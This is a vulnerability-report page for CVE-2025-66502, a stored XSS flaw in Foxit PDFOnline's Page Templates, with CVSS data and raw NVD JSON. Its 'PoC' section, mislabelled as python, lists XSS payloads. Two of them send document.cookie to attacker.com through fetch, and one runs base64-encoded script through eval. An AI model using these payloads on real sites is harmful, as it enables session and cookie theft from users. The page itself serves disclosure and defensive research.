Security Vulnerability Report
中文
CVE-2025-66502 CVSS 6.3 MEDIUM

CVE-2025-66502

Published: 2025-12-19 08:15:54
Last Modified: 2025-12-23 17:34:05
Source: 14984358-7092-470d-8f34-ade47a7658a2

Description

A stored cross-site scripting (XSS) vulnerability exists in pdfonline.foxit.com within the Page Templates feature. A crafted payload can be stored as the template name, which is later rendered into the DOM without proper sanitization. As a result, the injected script executes each time the affected PDF is loaded.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:* - VULNERABLE
Foxit PDFOnline < 修复版本
pdfonline.foxit.com Page Templates功能 所有已知版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-66502 Stored XSS PoC --> <!-- Foxit PDFOnline Page Templates XSS --> <!-- Step 1: Create a malicious template with XSS payload --> <!-- Template Name Payload --> <script>alert(document.cookie)</script> <!-- Alternative payload variants: --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <body onload="eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))"> <!-- Step 2: Upload or share the PDF containing the malicious template --> <!-- When victim opens the PDF, the XSS payload executes automatically -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66502", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T08:15:53.743", "lastModified": "2025-12-23T17:34:05.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in pdfonline.foxit.com within the Page Templates feature. A crafted payload can be stored as the template name, which is later rendered into the DOM without proper sanitization. As a result, the injected script executes each time the affected PDF is loaded."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-01", "matchCriteriaId": "1C90C56D-E699-4600-92B1-30DF358CE2E9"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}